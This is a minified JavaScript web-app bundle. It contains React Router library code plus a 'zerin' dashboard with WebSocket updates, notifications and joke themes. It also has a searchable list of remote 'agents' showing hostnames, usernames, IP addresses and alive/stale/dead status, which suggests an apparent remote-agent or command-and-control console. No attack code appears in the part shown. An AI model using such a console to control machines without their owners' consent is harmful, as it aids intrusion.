s=!1;if(Ya(t,i),t.stateNode===null)xc(e,t),Ij(t,n,r),fp(t,n,r,i),r=!0;else if(e===null){var o=t.stateNode,l=t.memoizedProps;o.props=l;var c=o.context,u=n.contextType;typeof u=="object"&&u!==null?u=_n(u):(u=Jt(n)?ra:$t.current,u=Ja(t,u));var d=n.getDerivedStateFromProps,f=typeof d=="function"||typeof o.getSnapshotBeforeUpdate=="function";f||typeof o.UNSAFE_componentWillReceiveProps!="function"&&typeof o.componentWillReceiveProps!="function"||(l!==r||c!==u)&&bg(t,o,r,u),ni=!1;var p=t.memoizedState;o.state=p,Wc(t,r,o,i),c=t.memoizedState,l!==r||p!==c||Qt.current||ni?(typeof d=="function"&&(dp(t,n,d,r),c=t.memoizedState),(l=ni||yg(t,n,l,r,p,c,u))?(f||typeof o.UNSAFE_componentWillMount!="function"&&typeof o.componentWillMount!="function"||(typeof o.
* @remix-run/router v1.23.2
*
* Copyright (c) Remix Software Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE.md file in the root directory of this source tree.
*
* @license MIT
*/function Ao(){return Ao=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Ao.apply(this,arguments)}var ci;(function(e){e.Pop="POP",e.Push="PUSH",e.Replace="REPLACE"})(ci||(ci={}));const Bg="popstate";function DP(e){e===void 0&&(e={});function t(r,i){let{pathname:s,search:o,hash:l}=r.location;return Cp("",{pathname:s,search:o,hash:l},i.state&&i.state.usr||null,i.state&&i.state.key||"default")}function n(r,i){return typeof i=="string"?i:Zc(i)}return $P(t,n,null,e)}function Xe(e,t){if(e===!1||e===null||typeof e>"u")throw new Error(t)}function Nx(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function RP(){return Math.random().toString(36).substr(2,8)}function Fg(e,t){return{usr:e.state,key:e.key,idx:t}}function Cp(e,t,n,r){return n===void 0&&(n=null),Ao({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?xs(t):t,{state:n,key:t&&t.key||r||RP()})}function Zc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function xs(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function $P(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:s=!1}=r,o=i.history,l=ci.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(Ao({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=ci.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function p(y,v){l=ci.Push;let b=Cp(g.location,y,v);u=d()+1;let w=Fg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(N){if(N instanceof DOMException&&N.name==="DataCloneError")throw N;i.location.assign(j)}s&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=ci.Replace;let b=Cp(g.location,y,v);u=d();let w=Fg(b,u),j=g.createHref(b);o.replaceState(w,"",j),s&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Zc(y);return b=b.replace(/ $/,"%20"),Xe(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(Bg,f),c=y,()=>{i.removeEventListener(Bg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:p,replace:h,go(y){return o.go(y)}};return g}var Wg;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Wg||(Wg={}));function BP(e,t,n){return n===void 0&&(n="/"),FP(e,t,n)}function FP(e,t,n,r){let i=typeof t=="string"?xs(t):t,s=as(i.pathname||"/",n);if(s==null)return null;let o=d5(e);WP(o);let l=null;for(let c=0;l==null&&c<o.length;++c){let u=JP(s);l=ZP(o[c],u)}return l}function d5(e,t,n,r){t===void 0&&(t=[]),n===void 0&&(n=[]),r===void 0&&(r="");let i=(s,o,l)=>{let c={relativePath:l===void 0?s.path||"":l,caseSensitive:s.caseSensitive===!0,childrenIndex:o,route:s};c.relativePath.startsWith("/")&&(Xe(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=yi([r,c.relativePath]),d=n.concat(c);s.children&&s.children.length>0&&(Xe(s.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),d5(s.children,t,d,u)),!(s.path==null&&!s.index)&&t.push({path:u,score:GP(u,s.index),routesMeta:d})};return e.forEach((s,o)=>{var l;if(s.path===""||!((l=s.path)!=null&&l.includes("?")))i(s,o);else for(let c of f5(s.path))i(s,o,c)}),t}function f5(e){let t=e.split("/");if(t.length=
* React Router v6.30.3
*
* Copyright (c) Remix Software Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE.md file in the root directory of this source tree.
*
* @license MIT
*/function Oo(){return Oo=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Oo.apply(this,arguments)}const cd=m.createContext(null),p5=m.createContext(null),Vr=m.createContext(null),ud=m.createContext(null),pr=m.createContext({outlet:null,matches:[],isDataRoute:!1}),h5=m.createContext(null);function cE(e,t){let{relative:n}=t===void 0?{}:t;vs()||Xe(!1);let{basename:r,navigator:i}=m.useContext(Vr),{hash:s,pathname:o,search:l}=dd(e,{relative:n}),c=o;return r!=="/"&&(c=o==="/"?r:yi([r,o])),i.createHref({pathname:c,search:l,hash:s})}function vs(){return m.useContext(ud)!=null}function ga(){return vs()||Xe(!1),m.useContext(ud).location}function x5(e){m.useContext(Vr).static||m.useLayoutEffect(e)}function hr(){let{isDataRoute:e}=m.useContext(pr);return e?kE():uE()}function uE(){vs()||Xe(!1);let e=m.useContext(cd),{basename:t,future:n,navigator:r}=m.useContext(Vr),{matches:i}=m.useContext(pr),{pathname:s}=ga(),o=JSON.stringify(kx(i,n.v7_relativeSplatPath)),l=m.useRef(!1);return x5(()=>{l.current=!0}),m.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=zx(u,JSON.parse(o),s,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:yi([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,s,e])}const dE=m.createContext(null);function fE(e){let t=m.useContext(pr).outlet;return t&&m.createElement(dE.Provider,{value:e},t)}function rl(){let{matches:e}=m.useContext(pr),t=e[e.length-1];return t?t.params:{}}function dd(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=m.useContext(Vr),{matches:i}=m.useContext(pr),{pathname:s}=ga(),o=JSON.stringify(kx(i,r.v7_relativeSplatPath));return m.useMemo(()=>zx(e,JSON.parse(o),s,n==="path"),[e,o,s,n])}function mE(e,t){return pE(e,t)}function pE(e,t,n,r){vs()||Xe(!1);let{navigator:i}=m.useContext(Vr),{matches:s}=m.useContext(pr),o=s[s.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=ga(),d;if(t){var f;let y=typeof t=="string"?xs(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||Xe(!1),d=y}else d=u;let p=d.pathname||"/",h=p;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+p.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=BP(e,{pathname:h}),g=yE(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:yi([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:yi([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),s,n,r);return t&&g?m.createElement(ud.Provider,{value:{location:Oo({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:ci.Pop}},g):g}function hE(){let e=NE(),t=oE(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return m.createElement(m.Fragment,null,m.createElement("h2",null,"Unexpected Application Error!"),m.createElement("h3",{style:{fontStyle:"italic"}},t),n?m.createElement("pre",{style:i},n):null,null)}const xE=m.createElement(hE,null);class vE extends m.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?m.createElement(pr.Provider,{value:this.props.routeContext},m.createElement(h5.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function gE(e){let{routeContext:t,match:n,children:r}=e,i=m.useContext(cd);return i&&i
* React Router DOM v6.30.3
*
* Copyright (c) Remix Software Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE.md file in the root directory of this source tree.
*
* @license MIT
*/function Qc(){return Qc=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Qc.apply(this,arguments)}function b5(e,t){if(e==null)return{};var n={},r=Object.keys(e),i,s;for(s=0;s<r.length;s++)i=r[s],!(t.indexOf(i)>=0)&&(n[i]=e[i]);return n}function _E(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function AE(e,t){return e.button===0&&(!t||t==="_self")&&!_E(e)}function _p(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function OE(e,t){let n=_p(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(s=>{n.append(i,s)})}),n}const TE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],ME=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],LE="6";try{window.__reactRouterVersion=LE}catch{}const IE=m.createContext({isTransitioning:!1}),DE="startTransition",Kg=lw[DE];function RE(e){let{basename:t,children:n,future:r,window:i}=e,s=m.useRef();s.current==null&&(s.current=DP({window:i,v5Compat:!0}));let o=s.current,[l,c]=m.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=m.useCallback(f=>{u&&Kg?Kg(()=>c(f)):c(f)},[c,u]);return m.useLayoutEffect(()=>o.listen(d),[o,d]),m.useEffect(()=>SE(r),[r]),m.createElement(PE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const $E=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",BE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,xt=m.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:s,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,p=b5(t,TE),{basename:h}=m.useContext(Vr),x,g=!1;if(typeof u=="string"&&BE.test(u)&&(x=u,$E))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),N=as(j.pathname,h);j.origin===w.origin&&N!=null?u=N+j.search+j.hash:g=!0}catch{}let y=cE(u,{relative:i}),v=UE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return m.createElement("a",Qc({},p,{href:x||y,onClick:g||s?r:b,ref:n,target:c}))}),FE=m.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:s="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=b5(t,ME),p=dd(c,{relative:f.relative}),h=ga(),x=m.useContext(p5),{navigator:g,basename:y}=m.useContext(Vr),v=x!=null&&VE(p)&&u===!0,b=g.encodeLocation?g.encodeLocation(p).pathname:p.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=as(j,y)||j);const N=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let k=w===b||!o&&w.startsWith(b)&&w.charAt(N)==="/",z=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),S={isActive:k,isPending:z,isTransitioning:v},A=k?r:void 0,_;typeof s=="function"?_=s(S):_=[s,k?"active":null,z?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let O=typeof l=="function"?l(S):l;return m.createElement(xt,Qc({},f,{"aria-current":A,className:_,ref:n,style:O,to:c,viewTransition:u}),typeof d=="function"?d(S):d)});var Ap;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(Ap||(Ap={}));var Yg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Yg||(Yg={}));function WE(e){let t=m.useContext(cd);return t||Xe(!1),t}function UE(e,t){let{target:n,replace:r,state:i,preventScrollReset:s,relative:o,viewTransition:l}=t===void 0?{}:t,c=hr(),u=ga(),d=dd(e,{relative:o});return m.useCallback(f=>{if(AE(f,n)){f.preventDefault();let p=r
bg-zerin-accent hover:bg-zerin-accent-hover\r
px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function N_(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,s]=m.useState(!1),[o,l]=m.useState(null),c=m.useRef(null),u=m.useRef(0),d=m.useRef(),f=m.useRef(t);f.current=t;const p=m.useCallback(()=>{const x=st();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws?token=${encodeURIComponent(x)}`,v=new WebSocket(y);c.current=v,v.onopen=()=>{s(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(s(!1),c.current=null,u.current<r){const b=u.current;u.current+=1;const w=Math.min(n*Math.pow(2,b),3e4);d.current=setTimeout(()=>{p()},w)}else il(),zi()},v.onerror=()=>{v.close()}},[n,r]),h=m.useCallback(()=>{u.current=0,p()},[p]);return m.useEffect(()=>(p(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[p]),{isConnected:i,lastMessage:o,reconnect:h}}const tm="zerin_notifications_enabled";function k_(){const[e,t]=m.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=m.useState(()=>localStorage.getItem(tm)==="true");m.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=m.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(tm,"true"))},[]),s=m.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(tm,String(c)),c})},[]),o=m.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:s,notify:o,isSupported:typeof Notification<"u"}}const nm="zerin-uwu-mode",qg=20,z_=3e3;function S_(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),s=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.05,t+.04),s.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(s).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function C_(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function P_(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function E_(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:
left:${Math.random()*100}vw;
top:${Math.random()*100}vh;
width:${i}px;
height:${i}px;
background:${t[n%t.length]};
animation-delay:${Math.random()*.6}s;
`,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Gg=["🐾","💖","","🎀","😻","🌸","💛","💜","🧋"],Xg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function __(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r<n;r++){const i=document.createElement("span"),s=Math.random()>.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(s){const f=Gg[Math.floor(Math.random()*Gg.length)];i.textContent=f,i.style.cssText=`
position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000;
font-size:${10+Math.random()*14}px;
--fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg;
animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards;
animation-delay:${Math.random()*.08}s;
`}else{const f=Xg[Math.floor(Math.random()*Xg.length)],p=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=`
position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000;
width:${p}px;height:${h}px;background:${f};
border-radius:${Math.random()>.5?"50%":"1px"};
--fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg;
animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards;
animation-delay:${Math.random()*.06}s;
`}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Zg=["❤️","💖","💗","💕","♥️","🌸"];let Qg=0;function A_(e,t){const n=Date.now();if(n-Qg<60)return;Qg=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Zg[Math.floor(Math.random()*Zg.length)];const i=(Math.random()-.5)*24,s=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${s}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function Jg(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function ey(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const ty=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function O_(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=ty[Math.floor(Math.random()*ty.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function T_(){const[e,t]=m.useState(()=>{try{return localStorage.getItem(nm)==="true"}catch{return!1}}),n=m.useRef(0),r=m.useRef();m.useEffect(()=>{const s=document.documentElement.classList;return e?(s.add("femboy-theme"),Jg()):(s.remove("femboy-theme"),ey()),()=>{s.remove("femboy-theme"),ey()}},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{__(o.clientX,o.clientY)};return document.addEventListener("click",s,!0),()=>document.removeEventListener("click",s,!0)},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{A_(o.clientX,o.clientY)};return document.addEventListener("mousemove",s),()=>document.removeEventListener("mousemove",s)},[e]),m.useEffect(()=>{if(!e)return;const s=()=>{O_(),o=setTimeout(s,8e3+Math.random()*7e3)};let o=setTimeout(s,3e3);return()=>clearTimeout(o)},[e]);const i=m.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},z_),e){if(n.current>=qg){n.current=0,t(!1);try{localStorage.removeItem(nm)}catch{}C_()}return}if(n.current>=15&&P_(n.current-14),n.current>=qg){n.current=0,t(!0);try{localStorage.setItem(nm,"true")}catch{}S_(),E_(),Jg()}},[e]);return{isActive:e,handleStatusClick:i}}const ny=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function M_(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),s=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.08,t+.1),s.gain.setValueAtTime(.08,t+.8),s.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(s).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function L_(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t)
position:absolute;left:0;right:0;height:2px;
top:${n*13}%;
background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent);
box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"};
opacity:0;
animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards;
`,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,s=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=`
position:absolute;left:${s}%;top:${o}%;
width:${i}px;height:${i}px;
background:${u};border-radius:50%;
box-shadow:0 0 8px ${u}, 0 0 16px ${u}40;
--synth-dx:${l}px;--synth-dy:${c}px;
animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards;
`,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let ry=0,rm=0;function D_(e,t){const n=Date.now();if(n-ry<40)return;ry=n,rm=(rm+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=rm<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function R_(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,s=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=`
left:${s}vw;width:${i}px;height:${i}px;
clip-path:${o};
border:1.5px solid ${r};
box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30;
background:${r}08;
`,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function $_(){const[e,t]=m.useState(!1),n=m.useRef([]),r=m.useRef();return m.useEffect(()=>{function i(s){var u,d;const o=(u=s.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=s.target)!=null&&d.isContentEditable)return;const l=s.key.length===1?s.key.toLowerCase():s.key;n.current.push(l);const c=ny.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);ny.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?L_():(M_(),I_()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),m.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),m.useEffect(()=>{if(!e)return;const i=s=>D_(s.clientX,s.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),m.useEffect(()=>{if(!e)return;const i=()=>{R_(),s=setTimeout(i,5e3+Math.random()*5e3)};let s=setTimeout(i,2e3);return()=>clearTimeout(s)},[e]),{isActive:e}}const B_={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},F_={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},W_={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},U_={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},V_={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function hd({status:e,size:t="md",showLabel:n=!1}){return a.jsxs("span",{className:"inline-flex items-center gap-2",children:[a.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block rounded-full ${B_[t]} ${W_[e]}`})]}),n&&a.jsx("span",{className:`font-mono font-medium tracking-wider ${F_[t]} ${U_[e]}`,children:V_[e]})]})}function H_({open:e,onClose:t,agents:n}){const[r,i]=m.useState(""),[s,o]=m.useState(0),l=m.useRef(null),c=hr(),u=m.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(p=>p.hostname.toLowerCase().includes(f)||p.username.toLowerCase().includes(f)||p.internal_ip.includes(f)||p.external_ip.includes(f)||p.id.toLowerCase().includes(f)).slice(0,10).map(p=>({type:"agent",id:p.id,primary:p.hostname,secondary:`${p.username} ${p.internal_ip}`,agent:p}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} ${f.internal_ip}`,agent:f}))},[r,n]);m.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),m.useEffect(()=>{o(0)},[r]);const d=m.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return m.useEffect(()=>{if(!e)return;function 